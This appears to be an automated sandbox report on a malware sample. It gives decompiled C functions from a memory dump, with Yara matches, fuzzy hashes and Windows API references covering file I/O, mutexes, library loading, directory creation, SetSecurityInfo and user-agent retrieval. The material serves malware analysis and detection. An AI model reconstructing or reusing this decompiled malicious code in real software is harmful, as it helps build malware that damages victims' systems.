Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Time$CreateFileMutexSleepSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3249252070-0
Opcode ID: 72cb62a549081648551e779445783078bd65e0e87b6164ea11561a59b2b13b39
Instruction ID: fcd63d8fa6c83fa0616940b46266237edd7782394f58ce86e90bdbacb149e5f5
Opcode Fuzzy Hash: 72cb62a549081648551e779445783078bd65e0e87b6164ea11561a59b2b13b39
Instruction Fuzzy Hash: 7A31F9316096409BF724F7B5EC06EEA3B99FF457A0B044126F1C8861A3FE34990087A3

Uniqueness

Uniqueness Score: -1.00%

Function 0008A6EB, Relevance: 3.1, APIs: 2, Instructions: 90
fileCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0008A6EB(void* __ecx, signed int _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t29;
				intOrPtr _t34;
				intOrPtr* _t39;
				void* _t47;
				intOrPtr _t55;
				intOrPtr _t58;
				char _t60;

				_push(__ecx);
				_push(__ecx);
				_t50 = _a4;
				_t60 = 0;
				_v12 = 0;
				if(_a4 != 0) {
					_t47 = E0008A67D(_t50);
					if(_t47 == 0) {
						L11:
						_t26 = 0;
						L12:
						L13:
						return _t26;
					}
					_t27 =  *0x9e684; // 0xa5f8f0
					_t58 =  *((intOrPtr*)(_t27 + 0xe8))(_t47, 0);
					if(_t58 == 0) {
						L9:
						_t29 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t29 + 0x30))(_t47);
						if(_t60 != 0) {
							E000885FB( &_v12, 0);
						}
						goto L11;
					}
					_t4 = _t58 + 1; // 0x1
					_t34 = E000885E5(_t4); // executed
					_t60 = _t34;
					_v12 = _t60;
					if(_t60 == 0) {
						goto L9;
					}
					_a4 = _a4 & 0;
					_push(0);
					_v8 = 0;
					_push( &_a4);
					_push(_t58);
					_push(_t60);
					while(ReadFile(_t47, ??, ??, ??, ??) != 0) {
						if(_a4 == 0) {
							if(_v8 != _t58) {
								goto L9;
							}
							_t39 = _a8;
							 *((char*)(_t58 + _t60)) = 0;
							if(_t39 != 0) {
								 *_t39 = _t58;
							}
							CloseHandle(_t47);
							_t26 = _t60;
							goto L12;
						}
						_t55 = _v8 + _a4;
						_a4 = _a4 & 0x00000000;
						_push(0);
						_push( &_a4);
						_v8 = _t55;
						_push(_t58 - _t55);
						_push(_t55 + _t60);
					}
					goto L9;
				}
				_t26 = 0;
				goto L13;
			}

0x0008a6ee
0x0008a6ef
0x0008a6f0
0x0008a6f4
0x0008a6f6
0x0008a6fb
0x0008a70b
0x0008a70f
0x0008a799
0x0008a799
0x0008a79b
0x0008a79d
0x0008a79f
0x0008a79f
0x0008a715
0x0008a723
0x0008a727
0x0008a77f
0x0008a77f
0x0008a785
0x0008a78a
0x0008a792
0x0008a798
0x00000000
0x0008a78a
0x0008a729
0x0008a72d
0x0008a732
0x0008a734
0x0008a73a
0x00000000
0x00000000
0x0008a73e
0x0008a741
0x0008a742
0x0008a748
0x0008a749
0x0008a74a
0x0008a76f
0x0008a751
0x0008a7a3
0x00000000
0x00000000
0x0008a7a5
0x0008a7a8
0x0008a7ae
0x0008a7b0
0x0008a7b0
0x0008a7b8
0x0008a7bb
0x00000000
0x0008a7bb
0x0008a759
0x0008a75c
0x0008a760
0x0008a762
0x0008a765
0x0008a76a
0x0008a76e
0x0008a76e
0x00000000
0x0008a76f
0x0008a6fd
0x00000000

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,0008FA98,00000000,0008F8F7,000AEFE0,0009B98C,00000000,0009B98C,00000000,00000000,00000615), ref: 0008A775
CloseHandle.KERNELBASE(00000000,?,0008FA98,00000000,0008F8F7,000AEFE0,0009B98C,00000000,0009B98C,00000000,00000000,00000615,0000034A,00000000,00A5FD30,00000400), ref: 0008A7B8

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CloseFileHandleRead
String ID:
API String ID: 2331702139-0
Opcode ID: b7a5b1448e0b22169c813fd187bf43b4fff7aa8c0187173e1b0237020f08d28e
Instruction ID: 25622088460c6087de3ec147c31aac90522c2eb645a19260c204c492a7e9e9de
Opcode Fuzzy Hash: b7a5b1448e0b22169c813fd187bf43b4fff7aa8c0187173e1b0237020f08d28e
Instruction Fuzzy Hash: 58218D76604209AFEB51EF68CC84FAA7BFCBB15740F24406BB945DB201EA74DA409B91

Uniqueness

Uniqueness Score: -1.00%

Function 00081521, Relevance: 3.1, APIs: 2, Instructions: 69
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00081521(void* __ecx, void* __edx) {
				void* _v8;
				void* _t3;
				signed int _t4;
				intOrPtr _t7;
				signed int _t9;
				intOrPtr _t10;
				void* _t24;

				_push(__ecx);
				_t3 = CreateMutexA(0, 0, 0);
				 *0x9e6f4 = _t3;
				if(_t3 == 0) {
					L11:
					_t4 = _t3 | 0xffffffff;
					__eflags = _t4;
				} else {
					_t3 = CreateMutexA(0, 0, 0);
					 *0x9e6dc = _t3;
					if(_t3 == 0) {
						goto L11;
					} else {
						_t3 = E00081080(0x4ac);
						_v8 = _t3;
						if(_t3 == 0) {
							goto L11;
						} else {
							 *0x9e6e8 = E00089187(_t3, 0);
							E000885A3( &_v8);
							_t7 = E000885E5(0x100);
							 *0x9e6f0 = _t7;
							if(_t7 != 0) {
								 *0x9e6fc = 0;
								_t9 = E000885E5(0x401);
								 *0x9e6d4 = _t9;
								__eflags = _t9;
								if(_t9 != 0) {
									__eflags =  *0x9e6c0; // 0x0
									if(__eflags == 0) {
										E000915EE(0x881e3, 0x881ec);
									}
									_push(0x61e);
									_t24 = 8;
									_t10 = E0008E1FE(0x9bd20, _t24); // executed
									 *0x9e6a0 = _t10;
									_t4 = 0;
								} else {
									_push(0xfffffffc);
									goto L5;
								}
							} else {
								_push(0xfffffffe);
								L5:
								_pop(_t4);
							}
						}
					}
				}
				return _t4;
			}

0x00081524
0x0008152b
0x00081531
0x00081538
0x000815ed
0x000815ed
0x000815ed
0x0008153e
0x00081541
0x00081547
0x0008154e
0x00000000
0x00081554
0x00081559
0x0008155e
0x00081563
0x00000000
0x00081569
0x00081575
0x0008157a
0x00081584
0x00081589
0x00081591
0x0008159f
0x000815a5
0x000815aa
0x000815b0
0x000815b2
0x000815b8
0x000815be
0x000815ca
0x000815d0
0x000815d1
0x000815d8
0x000815de
0x000815e3
0x000815e8
0x000815b4
0x000815b4
0x00000000
0x000815b4
0x00081593
0x00081593
0x00081595
0x00081595
0x00081595
0x00081591
0x00081563
0x0008154e
0x000815f2

APIs

CreateMutexA.KERNEL32(00000000,00000000,00000000,?,?,?,000856FA), ref: 0008152B
CreateMutexA.KERNEL32(00000000,00000000,00000000,?,?,?,000856FA), ref: 00081541

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateMutex$AllocateHeap
String ID:
API String ID: 704353917-0
Opcode ID: 990ea6b6f0f1b9a5b1fd263987fec04ccb9b733cafa55f92d1d9b2423ca4ed61
Instruction ID: 76ab61248cb3ebbed31960de556cf067885e7c63dce96342fda626e2f339c0b6
Opcode Fuzzy Hash: 990ea6b6f0f1b9a5b1fd263987fec04ccb9b733cafa55f92d1d9b2423ca4ed61
Instruction Fuzzy Hash: 6111B970604A42EAFB50FB75FC059A63AE8FFD17A0760412BE592C61D1FE74C9018711

Uniqueness

Uniqueness Score: -1.00%

Function 0008E1FE, Relevance: 3.0, APIs: 2, Instructions: 35
libraryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0008E1FE(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E000895A8(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0x7c3) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E0008E1B3(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				E000885A3( &_v8);
				return _t25;
			}

0x0008e201
0x0008e204
0x0008e20a
0x0008e20c
0x0008e211
0x0008e213
0x0008e21d
0x0008e21e
0x0008e22d
0x0008e220
0x0008e220
0x0008e220
0x0008e231
0x0008e238
0x0008e23e
0x0008e23e
0x0008e243
0x0008e24e

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000001,?,0009BA20), ref: 0008E220
LoadLibraryA.KERNEL32(00000000,00000000,00000001,?,0009BA20), ref: 0008E22D

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: 34ee8c9432c501ef63b31a96de4864626031fe048823fd25d1229eb6e9450f54
Instruction ID: 2336290dd98dabc25e18f7a79f1312269207d3c0219d1a772d0d688987e78d2c
Opcode Fuzzy Hash: 34ee8c9432c501ef63b31a96de4864626031fe048823fd25d1229eb6e9450f54
Instruction Fuzzy Hash: 90F0A732700124ABE744BBADEC858DAB3ECBF95394714412AF506D3251DEB4EE4087A0

Uniqueness

Uniqueness Score: -1.00%

Function 00082C82, Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00082C82(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				WCHAR* _v8;
				char _v12;
				char _v44;
				char _v564;
				char _v1084;
				void* __esi;
				void* _t23;
				struct _SECURITY_ATTRIBUTES* _t25;
				int _t27;
				char _t32;
				char _t38;
				intOrPtr _t39;
				void* _t40;
				WCHAR* _t41;
				void* _t54;
				char* _t60;
				char* _t63;
				void* _t70;
				WCHAR* _t71;
				intOrPtr* _t73;

				_t70 = __ecx;
				_push(__ecx);
				E0008B742(__edx,  &_v44, __eflags, __fp0);
				_t52 = _t70;
				if(E0008BBCF(_t70) == 0) {
					_t23 = E00082B97( &_v1084, _t70, 0x104); // executed
					_pop(_t54);
					__eflags = _t23;
					if(__eflags == 0) {
						_t71 = E00082C57( &_v1084, __eflags);
					} else {
						E0008B054(_t54,  &_v564); // executed
						_t32 = E0008109A(_t54, 0x375);
						_push(0);
						_v12 = _t32;
						_push( &_v44);
						_t60 = "\\";
						_push(_t60);
						_push(_t32);
						_push(_t60);
						_push( &_v564);
						_push(_t60);
						_t71 = E000892C6( &_v1084);
						E000885B6( &_v12);
					}
				} else {
					_t38 = E0008109A(_t52, 0x4e0);
					 *_t73 = 0x104;
					_v12 = _t38;
					_t39 =  *0x9e684; // 0xa5f8f0
					_t40 =  *((intOrPtr*)(_t39 + 0xe0))(_t38,  &_v564);
					_t78 = _t40;
					if(_t40 != 0) {
						_t41 = E0008109A( &_v564, 0x375);
						_push(0);
						_v8 = _t41;
						_push( &_v44);
						_t63 = "\\";
						_push(_t63);
						_push(_t41);
						_push(_t63);
						_t71 = E000892C6( &_v564);
						E000885B6( &_v8);
					} else {
						_t71 = E00082C57( &_v44, _t78);
					}
					E000885B6( &_v12);
				}
				_v8 = _t71;
				_t25 = E0008B2AB(_t71);
				if(_t25 == 0) {
					_t27 = CreateDirectoryW(_t71, _t25); // executed
					if(_t27 == 0 || E0008B2AB(_t71) == 0) {
						E000885FB( &_v8, 0xfffffffe);
						_t71 = _v8;
					}
				}
				return _t71;
			}

0x00082c91
0x00082c93
0x00082c96
0x00082c9c
0x00082ca5
0x00082d29
0x00082d2e
0x00082d2f
0x00082d31
0x00082d82
0x00082d33
0x00082d39
0x00082d43
0x00082d48
0x00082d4d
0x00082d50
0x00082d51
0x00082d56
0x00082d57
0x00082d58
0x00082d5f
0x00082d60
0x00082d6d
0x00082d73
0x00082d78
0x00082ca7
0x00082cac
0x00082cb1
0x00082cbf
0x00082cc3
0x00082cc8
0x00082cce
0x00082cd0
0x00082ce0
0x00082ce5
0x00082cea
0x00082ced
0x00082cee
0x00082cf3
0x00082cf4
0x00082cf5
0x00082d02
0x00082d08
0x00082cd2
0x00082cd7
0x00082cd7
0x00082d14
0x00082d19
0x00082d86
0x00082d89
0x00082d90
0x00082d94
0x00082d9c
0x00082daf
0x00082db4
0x00082db8
0x00082d9c
0x00082dbd

APIs

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000), ref: 00082D94

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 68c77f01e8c6780dfe701307dc001a3c2438e76daa96a70f931700e9baec779b
Instruction ID: db32385398968dca737dab0100a1bc30185c5e46178c30c23a01bed678604ce8
Opcode Fuzzy Hash: 68c77f01e8c6780dfe701307dc001a3c2438e76daa96a70f931700e9baec779b
Instruction Fuzzy Hash: B13190B2914214AADB14F7A0CC55AEE7BECBF04310F040169FA85E7182EF749F448B65

Uniqueness

Uniqueness Score: -1.00%

Function 0008BCBC, Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E0008BCBC(void* __ecx, void* __edx) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _t18;
				intOrPtr _t19;
				intOrPtr _t27;
				intOrPtr _t30;
				intOrPtr _t36;
				intOrPtr _t38;
				char _t39;

				_t39 = 0;
				_t38 =  *0x9e674; // 0x1e0
				_v8 = 0;
				_v12 = 0;
				_v20 = 0;
				_v16 = 0;
				_t18 = E000895C2(__ecx, 0x84b);
				_push(0);
				_v24 = _t18;
				_push( &_v8);
				_push(1);
				_push(_t18);
				_t19 =  *0x9e68c; // 0xa5fab8
				if( *((intOrPtr*)(_t19 + 0x84))() != 0) {
					_push( &_v16);
					_push( &_v12);
					_push( &_v20);
					_t27 =  *0x9e68c; // 0xa5fab8
					_push(_v8);
					if( *((intOrPtr*)(_t27 + 0x88))() != 0) {
						_push(_v12);
						_t30 =  *0x9e68c; // 0xa5fab8
						_push(0);
						_push(0);
						_push(0);
						_push(0x10);
						_push(6);
						_push(_t38); // executed
						if( *((intOrPtr*)(_t30 + 0x8c))() == 0) {
							_t39 = 1;
						}
					}
					_t36 =  *0x9e68c; // 0xa5fab8
					 *((intOrPtr*)(_t36 + 0x10))(_v8);
				}
				E000885B6( &_v24);
				return _t39;
			}

0x0008bcc3
0x0008bcc6
0x0008bcd1
0x0008bcd4
0x0008bcd7
0x0008bcda
0x0008bcdd
0x0008bce3
0x0008bce7
0x0008bcea
0x0008bceb
0x0008bced
0x0008bcee
0x0008bcfb
0x0008bd00
0x0008bd04
0x0008bd08
0x0008bd09
0x0008bd0e
0x0008bd19
0x0008bd1b
0x0008bd1e
0x0008bd23
0x0008bd24
0x0008bd25
0x0008bd26
0x0008bd28
0x0008bd2a
0x0008bd33
0x0008bd35
0x0008bd35
0x0008bd33
0x0008bd36
0x0008bd3f
0x0008bd3f
0x0008bd46
0x0008bd51

APIs

SetSecurityInfo.ADVAPI32(000001E0,00000006,00000010,00000000,00000000,00000000,?,?,0008325B,?,?,00000000,?,?,?,00085714), ref: 0008BD2B

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: InfoSecurity
String ID:
API String ID: 3528565900-0
Opcode ID: 49105266334ca50b45e4c17bdeae0f8f274821862b6dd8d3608f6b368af892b6
Instruction ID: 001d49ceb70d8446ff020721084f12b13b13be0303ccbbb620e15aa3367a86e5
Opcode Fuzzy Hash: 49105266334ca50b45e4c17bdeae0f8f274821862b6dd8d3608f6b368af892b6
Instruction Fuzzy Hash: C911F872A00219BBDB10EF95DC49EEEBBBCFF18750F10416AF545E7251EB709A018BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00085AF2, Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00085AF2(void* __edx, void* __fp0) {
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				intOrPtr* _t16;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t32;
				void* _t38;
				signed int _t39;
				intOrPtr* _t40;
				void* _t46;

				_t46 = __fp0;
				_t38 = __edx;
				_t39 = 0;
				_t16 = E000885E5(0x14);
				_t32 =  *0x9e688; // 0xb0000
				_t40 = _t16;
				if( *((short*)(_t32 + 0x22a)) == 0x3a) {
					_v36 =  *((intOrPtr*)(_t32 + 0x228));
					_v34 =  *((intOrPtr*)(_t32 + 0x22a));
					_v32 =  *((intOrPtr*)(_t32 + 0x22c));
					_v30 = 0;
					GetDriveTypeW( &_v36); // executed
				}
				 *_t40 = 2;
				 *(_t40 + 4) = _t39;
				_t17 =  *0x9e688; // 0xb0000
				 *((intOrPtr*)(_t40 + 8)) =  *((intOrPtr*)(_t17 + 0x224));
				_t18 = E00085A6E( *((intOrPtr*)(_t17 + 0x224)), _t38, _t46);
				 *((intOrPtr*)(_t40 + 0xc)) = _t18;
				if(_t18 == 0) {
					L4:
					if(E00082DBE() == 0) {
						goto L6;
					} else {
						_t39 = _t39 | 0xffffffff;
					}
				} else {
					_t38 = 0x3b;
					if(E0008A2AE(_t18, _t38) != 0) {
						L6:
						E00084D60(_t40, _t38, _t46);
					} else {
						goto L4;
					}
				}
				E0008A389();
				E0008A389();
				return _t39;
			}

0x00085af2
0x00085af2
0x00085afd
0x00085aff
0x00085b05
0x00085b0b
0x00085b15
0x00085b1e
0x00085b29
0x00085b34
0x00085b3a
0x00085b42
0x00085b42
0x00085b48
0x00085b4e
0x00085b51
0x00085b5c
0x00085b5f
0x00085b64
0x00085b69
0x00085b79
0x00085b80
0x00000000
0x00085b82
0x00085b82
0x00085b82
0x00085b6b
0x00085b6d
0x00085b77
0x00085b87
0x00085b89
0x00000000
0x00000000
0x00000000
0x00085b77
0x00085b91
0x00085b99
0x00085ba4

APIs

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

GetDriveTypeW.KERNELBASE(?), ref: 00085B42

Part of subcall function 00084D60: GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00084DB3
Part of subcall function 00084D60: GetModuleHandleA.KERNEL32(00000000), ref: 00084DBA

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: HandleModule$AllocateDriveHeapType
String ID:
API String ID: 2730524069-0
Opcode ID: e73fb08f3da3dde5aa209c1017ad67b2f2a394419535149ee6edcaf868ddff45
Instruction ID: b263b5ef738ee49b6e2627f74b7bad9b19a94809a0dd4a7b32b746edd3f06e59
Opcode Fuzzy Hash: e73fb08f3da3dde5aa209c1017ad67b2f2a394419535149ee6edcaf868ddff45
Instruction Fuzzy Hash: E111CE386007019AD720BFB5EC09AEE73E8BF98764F04403AE895C7292FB35D946CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0008E492, Relevance: 1.5, APIs: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0008E492(void* __ecx, void* __edx) {
				char _v8;
				intOrPtr* _t5;
				intOrPtr _t10;
				intOrPtr* _t11;
				void* _t12;

				_push(__ecx);
				_t5 =  *0x9e6b0; // 0xa5fdc8
				if( *_t5 == 0) {
					_v8 = E000895A8(0x2a7);
					 *0x9e788 = E00089187(_t6, 0);
					E000885A3( &_v8);
					goto L4;
				} else {
					_v8 = 0x100;
					_t10 = E000885E5(0x101);
					 *0x9e788 = _t10;
					_t11 =  *0x9e6b0; // 0xa5fdc8
					_t12 =  *_t11(0, _t10,  &_v8); // executed
					if(_t12 == 0) {
						L4:
						return 0;
					} else {
						return E000885FB(0x9e788, 0xffffffff) | 0xffffffff;
					}
				}
			}

0x0008e495
0x0008e496
0x0008e49e
0x0008e4e8
0x0008e4f5
0x0008e4fa
0x00000000
0x0008e4a0
0x0008e4a5
0x0008e4ac
0x0008e4b5
0x0008e4bc
0x0008e4c3
0x0008e4c7
0x0008e4ff
0x0008e502
0x0008e4c9
0x0008e4db
0x0008e4db
0x0008e4c7

APIs

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

ObtainUserAgentString.URLMON(00000000,00000000,00000100,00000100,?,0008E539), ref: 0008E4C3

Part of subcall function 000885FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Heap$AgentAllocateFreeObtainStringUser
String ID:
API String ID: 471734292-0
Opcode ID: 2306cfc77bf936f11ad23db2a63118d725d571b59e7bd36b462176c560489b9c
Instruction ID: 62a3483ceea4aaf0a14076952cf910cecb7af1faa39926476d08b9ef5dd02165
Opcode Fuzzy Hash: 2306cfc77bf936f11ad23db2a63118d725d571b59e7bd36b462176c560489b9c
Instruction Fuzzy Hash: F3F0CD70608240FFFB48FBB8DC4AAA977E0FB40360F644229A151D32D2EEB49E009721

Uniqueness

Uniqueness Score: -1.00%

Function 0008A69E, Relevance: 1.5, APIs: 1, Instructions: 37
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0008A69E(void* __ecx, void* __edx, intOrPtr _a4) {
				long _v8;
				void* _v12;
				void* _t13;
				void* _t21;
				void* _t23;
				void* _t26;

				_t23 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t26 = 0;
				_v12 = __ecx;
				_t21 = __edx;
				if(_a4 == 0) {
					L3:
					_t13 = 1;
				} else {
					while(1) {
						_v8 = _v8 & 0x00000000;
						if(WriteFile(_t23, _t26 + _t21, _a4 - _t26,  &_v8, 0) == 0) {
							break;
						}
						_t26 = _t26 + _v8;
						_t23 = _v12;
						if(_t26 < _a4) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					_t13 = 0;
				}
				L4:
				return _t13;
			}

0x0008a69e
0x0008a6a1
0x0008a6a2
0x0008a6a5
0x0008a6a7
0x0008a6aa
0x0008a6af
0x0008a6e0
0x0008a6e2
0x0008a6b1
0x0008a6b1
0x0008a6b1
0x0008a6d3
0x00000000
0x00000000
0x0008a6d5
0x0008a6d8
0x0008a6de
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0008a6de
0x0008a6e7
0x0008a6e7
0x0008a6e3
0x0008a6e6

APIs

WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00088F32,?), ref: 0008A6CB

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 5df19e21d3ddb09ad6c4c11454da19da2bcff3529875a62912f8edc0b597093c
Instruction ID: 3b3a24cdd749207699913458ac36c45aa91115effdf29cba6fb9c3bdeed8a2c2
Opcode Fuzzy Hash: 5df19e21d3ddb09ad6c4c11454da19da2bcff3529875a62912f8edc0b597093c
Instruction Fuzzy Hash: 08F01D72A10118BFEB10DF98C884BAA77ECFB05790F24456AB545E7104E670EE5097A1

Uniqueness

Uniqueness Score: -1.00%

Function 0008A639, Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008A639(WCHAR* __ecx, long __edx) {
				intOrPtr _t6;
				long _t12;
				void* _t13;

				_t12 = __edx;
				_t13 = CreateFileW(__ecx, 0x40000000, 0, 0, __edx, 0x80, 0);
				if(_t13 != 0xffffffff) {
					if(_t12 == 4) {
						_t6 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t6 + 0x80))(_t13, 0, 0, 2);
					}
					return _t13;
				}
				return 0;
			}

0x0008a643
0x0008a657
0x0008a65c
0x0008a665
0x0008a667
0x0008a671
0x0008a671
0x00000000
0x0008a677
0x00000000

APIs

CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000000,00000000,00088F1A), ref: 0008A654

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b3b88b4ae18cf6f2a9577180b67bb23ad81d8c5397a9feafbeb8474c43ba8e57
Instruction ID: 65d9eedc006a2cfd8ac97b7fb51b928860c26b0144ef5deb2ecb816d2393883e
Opcode Fuzzy Hash: b3b88b4ae18cf6f2a9577180b67bb23ad81d8c5397a9feafbeb8474c43ba8e57
Instruction Fuzzy Hash: EFE09AB2700114BEF76066689CC8F7B269CF7967F9F060332F691C31A0D6208C004371

Uniqueness

Uniqueness Score: -1.00%

Function 0008A67D, Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0008A67D(WCHAR* __ecx) {
				signed int _t5;

				_t5 = CreateFileW(__ecx, 0x80000000, 1, 0, 3, 0, 0);
				_t2 = _t5 + 1; // 0x1
				asm("sbb ecx, ecx");
				return _t5 &  ~_t2;
			}

0x0008a691
0x0008a694
0x0008a699
0x0008a69d

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,0008A70B,00000000,00000400,00000000,0008F8F7,0008F8F7,?,0008FA98,00000000), ref: 0008A691

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bae718c7ab4e0e70489fab14bbe76478ebf5004892df9015de5de8492d217ac9
Instruction ID: 701424f55706607c20a779b1f605f6a3a9bf58f01b0c22295887d68b81bdb902
Opcode Fuzzy Hash: bae718c7ab4e0e70489fab14bbe76478ebf5004892df9015de5de8492d217ac9
Instruction Fuzzy Hash: FCD012B23A0100BEFB2C8B34CD5AF72329CE710701F22025C7A06EA0E1CA69E9048720

Uniqueness

Uniqueness Score: -1.00%

Function 000885E5, Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000885E5(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x9e768, 8, _a4); // executed
				return _t2;
			}

0x000885f3
0x000885fa

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ddb3e1c4ab0669bcfb8209207dba11c67ad5171ec27cd050d23215c9b0b1c0cb
Instruction ID: 357be25924eba7ef04d183b2a47d12fe0e858354009690af1988e616ee4df9af
Opcode Fuzzy Hash: ddb3e1c4ab0669bcfb8209207dba11c67ad5171ec27cd050d23215c9b0b1c0cb
Instruction Fuzzy Hash: 7FB09235084A08BBFE811B81ED09A847F69FB45A59F008012F608081708A6668649B82

Uniqueness

Uniqueness Score: -1.00%

Function 0008B2AB, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008B2AB(WCHAR* __ecx) {

				return 0 | GetFileAttributesW(__ecx) != 0xffffffff;
			}

0x0008b2be

APIs

GetFileAttributesW.KERNELBASE(00000000,00084E6E), ref: 0008B2B1

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3fbf0e638217c05f6a6210c279be2eea434ef6a1c739ce4732bf75090bac18c4
Instruction ID: 2eec04d83ef220e7df840366bf7910a786624a5db3ebee8bff433549f6c66efd
Opcode Fuzzy Hash: 3fbf0e638217c05f6a6210c279be2eea434ef6a1c739ce4732bf75090bac18c4
Instruction Fuzzy Hash: A4B092B62200404BCA189B38998484D32906B182313220759B033C60E1D624C8509A00

Uniqueness

Uniqueness Score: -1.00%

Function 000885D0, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000885D0() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x9e768 = _t1;
				return _t1;
			}

0x000885d9
0x000885df
0x000885e4

APIs

HeapCreate.KERNELBASE(00000000,00080000,00000000,00085F88), ref: 000885D9

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 00561236055616d99284d0ac28147584d6f24b32db06d54aa00206475b8ac17a
Instruction ID: a1789a6bc8b77e7cca538026a270896d431aa116e0d29a0d1dd02ebd4a2bf545
Opcode Fuzzy Hash: 00561236055616d99284d0ac28147584d6f24b32db06d54aa00206475b8ac17a
Instruction Fuzzy Hash: E5B01270684700A6F2905B609C06B007550B340F0AF304003F704582D0CAB41004CB16

Uniqueness

